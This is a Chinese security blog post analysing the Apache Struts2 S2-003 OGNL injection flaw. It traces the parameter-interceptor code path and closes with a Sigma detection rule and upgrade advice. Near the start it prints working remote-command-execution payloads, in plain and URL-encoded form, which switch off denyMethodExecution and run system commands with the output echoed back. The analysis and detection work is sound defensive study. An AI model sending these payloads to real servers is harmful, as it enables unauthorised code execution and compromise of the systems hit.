行业新闻

ATTCK-st003漏洞之漏洞分析与利用

ATTCK-st003漏洞之漏洞分析与利用

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

原理:

XWork ParametersInterceptor 拦截器中对参数解析过滤不严,导致可以通过 ognl 表达式操作值栈中 map/context 栈的对象来执行方法,进而导致命令执行。

漏洞影响范围:

Struts 2.0.0 - Struts 2.1.8.1

环境搭建

下载 st-003 的漏洞环境,idea打开运行即可。

payload如下:


## 系统命令执行/HelloWorld.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)## 回显/HelloWorld.action?(a)(\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse)&(b)(\u0023ret\u003d@java.lang.Runtime@getRuntime().exec('whoami'))&(c)(\u0023dis\u003dnew\u0020java.io.BufferedReader(new\u0020java.io.InputStreamReader(\u0023ret.getInputStream())))&(d)(\u0023res\u003dnew\u0020char[20000])&(e)(\u0023dis.read(\u0023res))&(f)(\u0023writer\u003d\u0023context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter())&(g)(\u0023writer.println(new\u0020java.lang.String(\u0023res)))&(h)(\u0023writer.flush())&(i)(\u0023writer.close())

对于高版本tomcat需要进行url编码,如:\、/、[、]等字符接收到后会返回400状态码


## 系统命令执行/HelloWorld.action?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5C%27calc%5C%27%29%27%29%28bla%29%28bla%29## 回显/HelloWorld.action?(a)(%5Cu0023context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%5Cu003dfalse)&(b)(%5Cu0023ret%5Cu003d%40java.lang.Runtime%40getRuntime().exec('whoami'))&(c)(%5Cu0023dis%5Cu003dnew%5Cu0020java.io.BufferedReader(new%5Cu0020java.io.InputStreamReader(%5Cu0023ret.getInputStream())))&(d)(%5Cu0023res%5Cu003dnew%5Cu0020char%5B20000%5D)&(e)(%5Cu0023dis.read(%5Cu0023res))&(f)(%5Cu0023writer%5Cu003d%5Cu0023context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter())&(g)(%5Cu0023writer.println(new%5Cu0020java.lang.String(%5Cu0023res)))&(h)(%5Cu0023writer.flush())&(i)(%5Cu0023writer.close())

代码分析

第一步:final Map parameters = ac.getParameters() 获取Get请求的key和value时,如果参数包含# ,则会发生数据折断。

具体如下:

请求地址:


/HelloWorld.action?('# context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('# myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla),发生截断后只保留(' 。

请求地址:


/HelloWorld.action?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29=123456789&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5C%27calc%5C%27%29%27%29%28bla%29%28bla%29=123456('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)

第二步:发现acceptableName方法其实是对key进行过滤,这里通过简单的正则表达式[\p{Graph}&&[^,# :=]]*来检测,如果包含^,=、,、# 、:等非法字符,则会返回false。

这里payload通过unicode编码后可以进行绕过,往下走则将参数写入进OgnlValueStack中,跟进的话可以看到是调用Ognl.setValue方法,其中compile方法会对参数编码的内容转换为ascii码,但unicode编码具体位置转化还需要对compile方法继续深入跟踪。

这里始终无法找到unicode解码的,因为setValue方法tree参数是对象,在执行setValue方法时,tree对象已经执行啦。

对compile方法进行断点调试。

第三步:在拦截器方法中,先进行初始化,包括设置DenyMethodExecution为true设置为不允许方法执行,此时没有办法执行恶意代码,只有将其设置为false才可进行后续利用 。

其中,OgnlUtil.setValue方法,context参数,实现 DenyMethodExecution执行参数的修改。

第四步:

OgnlUtil.setValue方法修改完DenyMethodExecution值为 false 后,恶意代码就可以利用成功啦。

测试用例

使用工具:Struts2漏洞检查工具2019版 V2.3.exe进行漏洞验证,具体如图:

检测规则

Sigma检测规则如下:


title: st-003远程代码执行漏洞description: 检测st-003远程代码执行漏洞status: testdate: 2022/04/02author: bigsealogsource:category: webserverdetection:selection:c-uri|contains:- 'xwork.MethodAccessor.denyMethodExecution'- '\u0023context'- 'java.lang.Runtime'- 'java.lang.ProcessBuilder'condition: selectionfields:- c-ip- c-dnstags:- attack.t1190- attack.initial_access- cve.2008.6504level: Critical

缓解措施

官方建议Struts升级至 2.2.1版本,或更高版本。

参考链接

https://xz.aliyun.com/t/2323

https://cwiki.apache.org/confluence/display/WW/S2-003

关闭